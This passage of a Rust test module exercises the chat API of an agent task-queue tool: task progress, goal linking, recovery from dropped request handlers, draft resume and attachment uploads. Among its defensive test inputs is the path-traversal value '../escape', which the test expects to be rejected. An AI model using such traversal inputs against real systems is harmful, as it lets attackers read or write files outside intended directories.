16048            Source::Agent {
16049                run: talk_id.clone(),
16050                node: "chat".to_owned(),
16051            },
16052        );
16053        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
16054        assert_eq!(empty["task_progress"]["state"], "none");
16055        assert_eq!(empty["task_progress"]["total"], 0);
16056        queue.put(&mut mine).expect("file the task");
16057        let mut theirs = Task::new(
16058            "unrelated".to_owned(),
16059            "unrelated".to_owned(),
16060            PathBuf::from("/repo/magi"),
16061            Source::Human,
16062        );
16063        // A later task linked through origin_chat alone is outside this list.
16064        theirs.origin_chat = Some(talk_id.clone());
16065        queue.put(&mut theirs).expect("file the task");
16066
16067        let res = f.get(&format!("/api/talks/{talk_id}")).await;
16068        assert_eq!(res.status, 200, "{}", res.body);
16069        let body = res.json();
16070        assert_eq!(
16071            body["status"], "open",
16072            "filing a task does not close a talk"
16073        );
16074        let tasks = body["tasks"].as_array().expect("tasks array");
16075        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
16076        assert_eq!(tasks[0]["id"], mine.id);
16077        for status in [
16078            TaskStatus::Queued,
16079            TaskStatus::Running,
16080            TaskStatus::Held,
16081            TaskStatus::Failed,
16082            TaskStatus::Blocked,
16083            TaskStatus::Parked,
16084            TaskStatus::Done,
16085            TaskStatus::Queued,
16086        ] {
16087            mine.status = status;
16088            queue.put(&mut mine).expect("update status");
16089            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
16090            let progress = &detail["task_progress"];
16091            assert_eq!(progress["total"], 1);
16092            assert_eq!(progress["counts"][status.as_str()], 1);
16093            assert_eq!(detail["tasks"][0]["status"], status.as_str());
16094            assert_eq!(detail["status"], "open", "completion never closes the chat");
16095            if status == TaskStatus::Done {
16096                assert_eq!(progress["state"], "complete");
16097                assert_eq!(progress["done"], 1);
16098                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
16099            } else {
16100                assert_eq!(progress["state"], "incomplete");
16101                assert_eq!(progress["done"], 0);
16102                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
16103            }
16104        }
16105    }
16106
16107    #[test]
16108    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
16109        let home = tempfile::tempdir().unwrap();
16110        let runs = home.path().join("runs");
16111        let queue = Queue::at(home.path().join("queue"));
16112        let talks = Talks::at(home.path().join("talks"));
16113        let config = stub_config();
16114        let repo = PathBuf::from("/repo/magi");
16115        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
16116        let reserve_run = |repo| {
16117            let mut run = RunState::new(
16118                repo,
16119                "main".into(),
16120                "0000000".into(),
16121                "Follow the review".into(),
16122                config.clone(),
16123            );
16124            run.reserve_under(home.path()).unwrap();
16125            run
16126        };
16127        let older = reserve_run(repo.clone());
16128        let newer = reserve_run(repo.clone());
16129        let foreign = reserve_run(PathBuf::from("/repo/other"));
16130        let mismatched = reserve_run(repo.clone());
16131        let corrupt = reserve_run(repo.clone());
16132        let run_file = |id: &str| runs.join(id).join("run.json");
16133        std::fs::write(
16134            run_file(&mismatched.id),
16135            serde_json::to_vec(&older).unwrap(),
16136        )
16137        .unwrap();
16138        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
16139        let goal = |tasks: Vec<String>, runs: Vec<String>| {
16140            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
16141                "id": "g", "purpose": "Follow the review", "scope": "review",
16142                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
16143                "state": "waiting", "step": "Follow the recorded review",
16144                "source_turn": 0, "owner_input": "Follow the review",
16145                "tasks": tasks, "runs": runs, "watches": [],
16146                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
16147                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
16148            }))
16149            .unwrap()
16150        };
16151        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
16152
16153        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
16154        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
16155
16156        let unusable = vec![
16157            foreign.id.clone(),
16158            mismatched.id.clone(),
16159            corrupt.id.clone(),
16160            "missing".into(),
16161            "../escape".into(),
16162        ];
16163        let mut references = vec![older.id.clone()];
16164        references.extend(unusable.clone());
16165        talk.goals = vec![goal(vec![], references)];
16166        assert_eq!(link(&talk), Some(("run", older.id.clone())));
16167
16168        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
16169        assert_eq!(link(&talk), None);
16170
16171        let mut task = Task::new(
16172            "Review".into(),
16173            "Follow the review".into(),
16174            repo,
16175            Source::Human,
16176        );
16177        queue.put(&mut task).unwrap();
16178        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
16179        assert_eq!(link(&talk), Some(("task", task.id.clone())));
16180
16181        task.runs.push(older.id.clone());
16182        queue.put(&mut task).unwrap();
16183        assert_eq!(link(&talk), Some(("run", older.id)));
16184    }
16185
16186    #[test]
16187    fn talk_task_progress_counts_mixed_statuses() {
16188        let mut tasks: Vec<_> = [
16189            TaskStatus::Queued,
16190            TaskStatus::Running,
16191            TaskStatus::Held,
16192            TaskStatus::Failed,
16193            TaskStatus::Blocked,
16194            TaskStatus::Parked,
16195            TaskStatus::Done,
16196        ]
16197        .into_iter()
16198        .map(|status| {
16199            let mut task = Task::new(
16200                "task".into(),
16201                "task".into(),
16202                PathBuf::from("/repo"),
16203                Source::Human,
16204            );
16205            task.status = status;
16206            task
16207        })
16208        .collect();
16209        let progress = talk_task_progress(&tasks);
16210        assert_eq!(progress.state, "incomplete");
16211        assert_eq!(progress.total, 7);
16212        assert_eq!(progress.done, 1);
16213        assert_eq!(progress.unfinished_ids.len(), 6);
16214        assert!(progress.counts.values().all(|count| *count == 1));
16215        assert_eq!(
16216            progress.unfinished_ids,
16217            tasks[..6]
16218                .iter()
16219                .map(|task| task.id.clone())
16220                .collect::<Vec<_>>()
16221        );
16222
16223        for task in &mut tasks {
16224            task.status = TaskStatus::Done;
16225        }
16226        let complete = talk_task_progress(&tasks);
16227        assert_eq!(complete.state, "complete");
16228        assert_eq!(complete.done, 7);
16229        assert!(complete.unfinished_ids.is_empty());
16230        tasks[0].status = TaskStatus::Queued;
16231        let requeued = talk_task_progress(&tasks);
16232        assert_eq!(requeued.state, "incomplete");
16233        assert_eq!(requeued.done, 6);
16234        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16235
16236        let empty = talk_task_progress(&[]);
16237        assert_eq!(empty.state, "none");
16238        assert_eq!(empty.total, 0);
16239        assert_eq!(empty.done, 0);
16240        assert!(empty.unfinished_ids.is_empty());
16241        assert!(empty.counts.values().all(|count| *count == 0));
16242    }
16243
16244    #[tokio::test]
16245    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16246        let (_tmp, _repo, f) = talk_fixture().await;
16247        let id = f.post("/api/talks", None).await.json()["id"]
16248            .as_str()
16249            .expect("id")
16250            .to_owned();
16251
16252        let res = f
16253            .post(
16254                &format!("/api/talks/{id}/say"),
16255                Some(r#"{"text":"what does the queue module do?"}"#),
16256            )
16257            .await;
16258        assert_eq!(res.status, 202, "{}", res.body);
16259        let queued = res.json();
16260        let turns = queued["turns"].as_array().expect("turns array");
16261        assert_eq!(
16262            turns.len(),
16263            1,
16264            "the answer reflects only what is on disk the instant it is sent, \
16265             before the agent's turn - which can run for the whole of \
16266             `[graph] timeout_talk` - has a chance to land: {queued}"
16267        );
16268        assert_eq!(turns[0]["who"], "operator");
16269        assert_eq!(turns[0]["body"], "what does the queue module do?");
16270        assert_eq!(
16271            queued["thinking"], true,
16272            "the accepted response exposes the background turn claim: {queued}"
16273        );
16274
16275        let mut turns_after = 1;
16276        for _ in 0..SETTLE_STEPS {
16277            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16278            turns_after = detail["turns"].as_array().expect("turns array").len();
16279            if turns_after == 2 {
16280                break;
16281            }
16282            tokio::time::sleep(Duration::from_millis(10)).await;
16283        }
16284        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16285    }
16286
16287    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16288    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16289    /// guards against: `talk::record` used to return, and only *then* did the
16290    /// handler make a second, separate disk round trip before spawning the
16291    /// agent's reply task. A future dropped in that gap left a message
16292    /// recorded on disk with no reply task ever started and no way back short
16293    /// of a fresh message - and the gap was not even the whole story: *any*
16294    /// `.await` in this handler, including the very first one, is a point
16295    /// where a drop can land after the awaited work already finished but
16296    /// before this handler's own code resumes to act on it. `record` now
16297    /// runs inside the task `tokio::spawn` hands to the runtime before this
16298    /// handler ever awaits anything of its own again, so there is nothing
16299    /// left in *this* handler's future for a disconnect to interrupt between
16300    /// the message landing on disk and the reply task starting.
16301    ///
16302    /// A real socket disconnect cannot be relied on to land in the old gap
16303    /// from a test - over loopback, `talk_say` typically finishes before the
16304    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16305    /// same failure mode directly: it drops the task's future at whatever
16306    /// point it has reached, exactly what axum does to the handler future,
16307    /// without needing to win a real network race. Sweeping the delay before
16308    /// aborting samples a range of points the task's execution can be at,
16309    /// including where the old code sat waiting on its second disk round
16310    /// trip - confirmed by reverting this fix locally and watching this same
16311    /// sweep catch a talk stuck with the operator's turn recorded and no
16312    /// reply ever following.
16313    #[tokio::test]
16314    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16315        let tmp = TempDir::new().expect("tempdir");
16316        let repo = tmp.path().join("repo");
16317        std::fs::create_dir_all(&repo).expect("repo dir");
16318        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16319        let home = TempDir::new().expect("temp home");
16320        let talks = Talks::at(home.path().join("talks"));
16321        let ui = Arc::new(
16322            Ui::new(
16323                Queue::at(home.path().join("queue")),
16324                Questions::at(home.path().join("questions")),
16325                talks.clone(),
16326                home.path().join("runs"),
16327                home.path().to_path_buf(),
16328                repo.clone(),
16329            )
16330            .with_worktrees_root(home.path().join("wt")),
16331        );
16332        let cfg = config_for(&repo).await.expect("discover config");
16333
16334        for delay in 0..40u32 {
16335            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16336            let id = talk.id.clone();
16337
16338            let handler = tokio::spawn(talk_say(
16339                State(Arc::clone(&ui)),
16340                Path(id.clone()),
16341                Ok(Json(NewTalkTurn {
16342                    reply_to: None,
16343                    text: "what does the queue module do?".to_owned(),
16344                    attachments: Vec::new(),
16345                })),
16346            ));
16347            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16348            handler.abort();
16349            // Wait out the abort so the next iteration's talk does not race
16350            // this one's still-unwinding turn guard.
16351            let _ = handler.await;
16352
16353            let mut turns = 0;
16354            for _ in 0..SETTLE_STEPS {
16355                if let Ok(fresh) = talks.get(&id) {
16356                    turns = fresh.turns.len();
16357                    if turns != 1 {
16358                        break;
16359                    }
16360                }
16361                tokio::time::sleep(Duration::from_millis(10)).await;
16362            }
16363            assert_ne!(
16364                turns, 1,
16365                "delay {delay}: talk {id} recorded the operator's turn but \
16366                 the agent never answered - the reply task was never \
16367                 started after the handler future was dropped"
16368            );
16369        }
16370    }
16371
16372    /// The same drop, landing on `talk_say`'s other durable write.
16373    ///
16374    /// When a turn is already running, the busy branch persists the
16375    /// operator's text as a queued draft and then reclaims the turn slot if
16376    /// the holder gave it up in the meantime - and whoever reclaims owes that
16377    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16378    /// which finishes whether or not the future awaiting it is still there,
16379    /// so a handler dropped at that `.await` used to leave the draft written
16380    /// to disk with the reclaimed guard dropped unread and no drainer ever
16381    /// started: the message sat queued until some unrelated later `say`
16382    /// happened to pick it up.
16383    ///
16384    /// This used to drive the handler future by hand, polling it a fixed
16385    /// number of times to park it at the `.await` where it asks for the turn
16386    /// and finds it busy, before the reclaim's slot-free case could be set up
16387    /// underneath it. That assumed a fixed number of polls lands at a fixed
16388    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16389    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16390    /// poll, so any number of this handler's several `blocking` awaits can
16391    /// collapse into one poll under load, landing the drive somewhere other
16392    /// than intended - including, occasionally, straight past the handler's
16393    /// own completion, which made polling it again panic with "async fn
16394    /// resumed after completion". No poll count fixes that; the handler's
16395    /// progress simply is not something a caller outside it can observe by
16396    /// counting.
16397    ///
16398    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16399    /// inside the write itself, so the interleaving under test is pinned by
16400    /// an event instead of a guess: the gate fires only once the handler has
16401    /// actually decided `Busy` and is about to persist the draft, and it
16402    /// blocks that write until the test lets it through. Between those two
16403    /// moments the test drains the turn the handler found busy - through
16404    /// `drain_loop`, the protocol's other half - and then aborts the handler
16405    /// task outright, the same way axum drops a disconnected request's
16406    /// future. The write, and the reclaim it may do, run to completion
16407    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16408    /// to the runtime before ever touching the gate, wholly independent of
16409    /// whether the handler that started it is still around - which is what
16410    /// this test is actually checking. A drainer other than that reclaim
16411    /// cannot exist here: the test's own `drain_loop` call happens before the
16412    /// gate opens, so it runs while the queue is still empty and hands the
16413    /// turn straight back rather than draining anything, closing off the
16414    /// possibility of the final assertion passing without the reclaim ever
16415    /// having done its job.
16416    #[tokio::test]
16417    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16418        let tmp = TempDir::new().expect("tempdir");
16419        let repo = tmp.path().join("repo");
16420        std::fs::create_dir_all(&repo).expect("repo dir");
16421        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16422        let home = TempDir::new().expect("temp home");
16423        let talks = Talks::at(home.path().join("talks"));
16424        let ui = Arc::new(
16425            Ui::new(
16426                Queue::at(home.path().join("queue")),
16427                Questions::at(home.path().join("questions")),
16428                talks.clone(),
16429                home.path().join("runs"),
16430                home.path().to_path_buf(),
16431                repo.clone(),
16432            )
16433            .with_worktrees_root(home.path().join("wt")),
16434        );
16435        let cfg = config_for(&repo).await.expect("discover config");
16436        // Both waits guard against hangs, not slow filesystem or Git work on
16437        // a loaded test host. The gates and lock polls assert the ordering.
16438        let hang_guard = Duration::from_secs(30);
16439
16440        for attempt in 0..3u32 {
16441            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16442            let id = talk.id.clone();
16443            // A turn is already running, which is what sends `talk_say` down
16444            // the busy branch.
16445            let turn_guard = ui
16446                .begin_talk_turn(&id)
16447                .expect("claim the turn")
16448                .expect("a fresh talk owes nobody a turn");
16449
16450            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16451            let (release_tx, release_rx) = std::sync::mpsc::channel();
16452            ui.set_busy_queue_gate(BusyQueueGate {
16453                reached: reached_tx,
16454                release: release_rx,
16455            });
16456
16457            let handler = tokio::spawn(talk_say(
16458                State(Arc::clone(&ui)),
16459                Path(id.clone()),
16460                Ok(Json(NewTalkTurn {
16461                    reply_to: None,
16462                    text: "what does the queue module do?".to_owned(),
16463                    attachments: Vec::new(),
16464                })),
16465            ));
16466
16467            // Wait for the busy branch to actually reach the gate, rather
16468            // than for any fixed number of polls of anything - a bounded
16469            // wait rather than a bare `.await` so a regression that never
16470            // reaches the gate fails the test instead of hanging it.
16471            tokio::time::timeout(hang_guard, reached_rx)
16472                .await
16473                .unwrap_or_else(|_| {
16474                    panic!(
16475                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16476                    )
16477                })
16478                .expect("the busy branch dropped the gate without using it");
16479            assert!(
16480                crate::chat_worker::try_publication_guard(&talks, &id)
16481                    .expect("publication fence")
16482                    .is_none(),
16483                "a queued worker cannot promote text before its successor reservation is published"
16484            );
16485
16486            // A listener replacement queues its writer behind this accepted
16487            // mutation. Even disconnecting the HTTP caller must not release
16488            // admission before the write-to-worker handoff has completed.
16489            let closing = Arc::clone(&ui.admissions).write_owned();
16490            tokio::pin!(closing);
16491            std::future::poll_fn(|cx| {
16492                assert!(closing.as_mut().poll(cx).is_pending());
16493                std::task::Poll::Ready(())
16494            })
16495            .await;
16496            assert!(
16497                ui.begin_admission().is_err(),
16498                "replacement blocks later admissions"
16499            );
16500
16501            // The turn that was running now finishes and gives the slot up
16502            // the way a real one does - through `drain_loop`, which finds
16503            // nothing queued yet (the write is still held at the gate) and
16504            // releases. The handler, parked inside `spawn_blocking` on the
16505            // other side of the gate, still believes the talk is busy -
16506            // exactly the interleaving the reclaim exists for.
16507            let running = talks.get(&id).expect("reload talk");
16508            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16509
16510            // Drop the handler future now, the way a reloading phone drops
16511            // it: suspended waiting on the busy branch's answer, having
16512            // itself made no more progress since it handed the write off.
16513            handler.abort();
16514            let _ = handler.await;
16515            std::future::poll_fn(|cx| {
16516                assert!(
16517                    closing.as_mut().poll(cx).is_pending(),
16518                    "HTTP cancellation must not abandon a publishing transaction"
16519                );
16520                std::task::Poll::Ready(())
16521            })
16522            .await;
16523            assert!(
16524                crate::chat_worker::try_publication_guard(&talks, &id)
16525                    .expect("publication fence after disconnect")
16526                    .is_none()
16527            );
16528
16529            // Only now let the gated write proceed. It persists the draft
16530            // and reclaims the now-free slot from inside the task the busy
16531            // branch already spawned - unaffected by the handler's abort
16532            // above, since that task was independent of the handler's own
16533            // future from the moment it was spawned.
16534            release_tx.send(()).expect("busy queue write still gated");
16535            drop(
16536                tokio::time::timeout(hang_guard, closing)
16537                    .await
16538                    .unwrap_or_else(|_| {
16539                        panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16540                    }),
16541            );
16542            assert!(
16543                crate::chat_worker::try_publication_guard(&talks, &id)
16544                    .expect("publication fence after acknowledgement")
16545                    .is_some(),
16546                "the publication fence is not retained by the long response"
16547            );
16548
16549            // A settled talk: the draft drained into an operator turn and
16550            // answered.
16551            let mut fresh = talks.get(&id).expect("reload talk");
16552            for _ in 0..SETTLE_STEPS {
16553                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16554                    break;
16555                }
16556                tokio::time::sleep(Duration::from_millis(10)).await;
16557                fresh = talks.get(&id).expect("reload talk");
16558            }
16559            assert!(
16560                fresh.pending.is_empty() && fresh.turns.len() == 2,
16561                "attempt {attempt}: talk {id} left the operator's text queued \
16562                 with no drainer - the reclaimed turn was dropped along with \
16563                 the handler future (pending {:?}, {} turns)",
16564                fresh.pending,
16565                fresh.turns.len()
16566            );
16567        }
16568    }
16569
16570    #[tokio::test]
16571    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16572        let (_tmp, _repo, f) = talk_fixture().await;
16573        let id = f.post("/api/talks", None).await.json()["id"]
16574            .as_str()
16575            .expect("id")
16576            .to_owned();
16577        let store = f.talks();
16578        let mut recovered = store.get(&id).expect("opened talk");
16579        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16580            .expect("persist pending draft without a live turn");
16581
16582        let edited = f
16583            .post(
16584                &format!("/api/talks/{id}/pending/edit"),
16585                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16586            )
16587            .await;
16588        assert_eq!(edited.status, 200, "{}", edited.body);
16589        assert!(edited.json()["thinking"].as_bool().unwrap());
16590
16591        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16592        for _ in 0..SETTLE_STEPS {
16593            if detail["turns"].as_array().expect("turns").len() == 2 {
16594                break;
16595            }
16596            tokio::time::sleep(Duration::from_millis(10)).await;
16597            detail = f.get(&format!("/api/talks/{id}")).await.json();
16598        }
16599        let turns = detail["turns"].as_array().expect("turns");
16600        assert_eq!(
16601            turns.len(),
16602            2,
16603            "the recovered draft must run once: {detail}"
16604        );
16605        assert_eq!(turns[0]["body"], "corrected");
16606        assert_eq!(detail["pending"], "");
16607    }
16608
16609    #[tokio::test]
16610    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16611        let tmp = TempDir::new().expect("tempdir");
16612        let repo = tmp.path().join("repo");
16613        std::fs::create_dir_all(&repo).expect("repo dir");
16614        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16615        let f = Fixture::with_repo(repo).await;
16616        let id = f.post("/api/talks", None).await.json()["id"]
16617            .as_str()
16618            .expect("id")
16619            .to_owned();
16620        let store = f.talks();
16621        let mut recovered = store.get(&id).expect("opened talk");
16622        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16623            .expect("persist pending draft without a live turn");
16624
16625        let refused = f
16626            .post(
16627                &format!("/api/talks/{id}/say"),
16628                Some(r#"{"text":"new message"}"#),
16629            )
16630            .await;
16631        assert_eq!(refused.status, 409, "{}", refused.body);
16632        assert!(refused.body.contains("resume"), "{}", refused.body);
16633        let saved = store.get(&id).expect("draft remains after refusal");
16634        assert!(saved.turns.is_empty());
16635        assert_eq!(saved.pending, "saved before restart");
16636
16637        let say_path = format!("/api/talks/{id}/say");
16638        let (first, second) = tokio::join!(
16639            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16640            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16641        );
16642        assert_eq!(first.status, 409, "{}", first.body);
16643        assert_eq!(second.status, 409, "{}", second.body);
16644        let saved = store
16645            .get(&id)
16646            .expect("draft remains after concurrent refusals");
16647        assert!(saved.turns.is_empty());
16648        assert_eq!(saved.pending, "saved before restart");
16649
16650        let resumed = f
16651            .post(&format!("/api/talks/{id}/pending/resume"), None)
16652            .await;
16653        assert_eq!(resumed.status, 202, "{}", resumed.body);
16654        let duplicate = f
16655            .post(&format!("/api/talks/{id}/pending/resume"), None)
16656            .await;
16657        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16658
16659        for _ in 0..SETTLE_STEPS {
16660            if store.get(&id).expect("talk").turns.len() == 2 {
16661                break;
16662            }
16663            tokio::time::sleep(Duration::from_millis(10)).await;
16664        }
16665        let finished = store.get(&id).expect("finished talk");
16666        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16667        assert_eq!(finished.turns[0].body, "saved before restart");
16668        assert!(finished.pending.is_empty());
16669    }
16670
16671    #[tokio::test]
16672    async fn an_image_only_recovered_draft_resumes_without_text() {
16673        let (_tmp, _repo, f) = talk_fixture().await;
16674        let id = f.post("/api/talks", None).await.json()["id"]
16675            .as_str()
16676            .expect("id")
16677            .to_owned();
16678        let uploaded = f
16679            .post_bytes(
16680                &format!("/api/talks/{id}/attachments"),
16681                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16682                PNG_BYTES,
16683            )
16684            .await;
16685        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16686        let attachment = f
16687            .talks()
16688            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16689            .expect("attachment metadata")
16690            .expect("stored attachment");
16691        let store = f.talks();
16692        let mut recovered = store.get(&id).expect("opened talk");
16693        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16694
16695        let resumed = f
16696            .post(&format!("/api/talks/{id}/pending/resume"), None)
16697            .await;
16698        assert_eq!(resumed.status, 202, "{}", resumed.body);
16699        for _ in 0..SETTLE_STEPS {
16700            if store.get(&id).expect("talk").turns.len() == 2 {
16701                break;
16702            }
16703            tokio::time::sleep(Duration::from_millis(10)).await;
16704        }
16705        let finished = store.get(&id).expect("finished talk");
16706        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16707        assert!(finished.turns[0].body.is_empty());
16708        assert_eq!(finished.turns[0].attachments.len(), 1);
16709        assert!(finished.pending_attachments.is_empty());
16710    }
16711
16712    #[tokio::test]
16713    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16714        let (_tmp, _repo, f) = talk_fixture().await;
16715        let id = f.post("/api/talks", None).await.json()["id"]
16716            .as_str()
16717            .expect("id")
16718            .to_owned();
16719        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16720        assert_eq!(closed.status, 200, "{}", closed.body);
16721        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16722            .expect("serialize closed talk");
16723        for (path, body) in [
16724            (format!("/api/talks/{id}/pending/resume"), None),
16725            (
16726                format!("/api/talks/{id}/pending/clear"),
16727                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16728            ),
16729            (
16730                format!("/api/talks/{id}/pending/edit"),
16731                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16732            ),
16733            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16734        ] {
16735            let response = f.post(&path, body).await;
16736            assert_eq!(response.status, 409, "{}", response.body);
16737        }
16738        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16739            .expect("serialize closed talk");
16740        assert_eq!(
16741            after_clear, before_clear,
16742            "clear must not rewrite a closed talk"
16743        );
16744    }
16745
16746    /// Keeps both claims observable long enough to exercise the distinction
16747    /// between one busy talk and a globally locked Chat surface.
16748    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16749
16750    #[tokio::test]
16751    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16752        let tmp = TempDir::new().expect("tempdir");
16753        let repo = tmp.path().join("repo");
16754        std::fs::create_dir_all(&repo).expect("repo dir");
16755        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16756        let f = Fixture::with_repo(repo).await;
16757        let id_a = f.post("/api/talks", None).await.json()["id"]
16758            .as_str()
16759            .unwrap()
16760            .to_owned();
16761        let id_b = f.post("/api/talks", None).await.json()["id"]
16762            .as_str()
16763            .unwrap()
16764            .to_owned();
16765
16766        let a = f
16767            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16768            .await;
16769        assert_eq!(a.status, 202, "{}", a.body);
16770        assert_eq!(a.json()["thinking"], true);
16771        let b = f
16772            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16773            .await;
16774        assert_eq!(b.status, 202, "{}", b.body);
16775        assert_eq!(b.json()["thinking"], true);
16776
16777        let listed = f.get("/api/talks").await.json();
16778        for id in [&id_a, &id_b] {
16779            let view = listed
16780                .as_array()
16781                .unwrap()
16782                .iter()
16783                .find(|talk| talk["id"] == *id)
16784                .unwrap();
16785            assert_eq!(view["thinking"], true, "{listed}");
16786        }
16787        let repeated = f
16788            .post(
16789                &format!("/api/talks/{id_a}/say"),
16790                Some(r#"{"text":"again"}"#),
16791            )
16792            .await;
16793        assert_eq!(repeated.status, 202, "{}", repeated.body);
16794        assert_eq!(repeated.json()["pending"], "again");
16795    }
16796
16797    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16798    /// few more, since real uploads are never exactly eight bytes.
16799    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16800
16801    #[tokio::test]
16802    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16803        let f = Fixture::start().await;
16804        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16805
16806        let res = f
16807            .post_bytes(
16808                &format!("/api/talks/{id}/attachments"),
16809                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16810                PNG_BYTES,
16811            )
16812            .await;
16813        assert_eq!(res.status, 201, "{}", res.body);
16814        let body = res.json();
16815        assert_eq!(body["name"], "shot.png");
16816        assert_eq!(body["mime"], "image/png");
16817        assert_eq!(body["bytes"], PNG_BYTES.len());
16818        let att_id = body["id"].as_str().expect("id").to_owned();
16819        assert_eq!(
16820            att_id.len(),
16821            32,
16822            "the id must never be a client-suppliable path: {att_id}"
16823        );
16824
16825        let got = f
16826            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16827            .await;
16828        assert_eq!(got.status, 200, "{}", got.body);
16829        assert_eq!(got.header("content-type"), Some("image/png"));
16830        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16831        assert_eq!(got.bytes, PNG_BYTES);
16832    }
16833
16834    #[tokio::test]
16835    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16836        let f = Fixture::start().await;
16837        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16838
16839        // SVG can carry a `<script>`, so it is never on the whitelist even
16840        // though it is a real IANA image type.
16841        let svg = f
16842            .post_bytes(
16843                &format!("/api/talks/{id}/attachments"),
16844                &[("Content-Type", "image/svg+xml")],
16845                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16846            )
16847            .await;
16848        assert!(
16849            (400..500).contains(&svg.status),
16850            "svg must be refused: {} {}",
16851            svg.status,
16852            svg.body
16853        );
16854        assert!(svg.body.contains("SVG"), "{}", svg.body);
16855
16856        let text = f
16857            .post_bytes(
16858                &format!("/api/talks/{id}/attachments"),
16859                &[("Content-Type", "text/plain")],
16860                b"just some text",
16861            )
16862            .await;
16863        assert!(
16864            (400..500).contains(&text.status),
16865            "an unlisted type must be refused: {} {}",
16866            text.status,
16867            text.body
16868        );
16869
16870        // The declared type is a real png, but the size check runs before
16871        // the bytes are even looked at.
16872        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16873        let big = f
16874            .post_bytes(
16875                &format!("/api/talks/{id}/attachments"),
16876                &[("Content-Type", "image/png")],
16877                &oversized,
16878            )
16879            .await;
16880        assert_eq!(
16881            big.status,
16882            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16883            "{}",
16884            big.body
16885        );
16886    }
16887
16888    #[tokio::test]
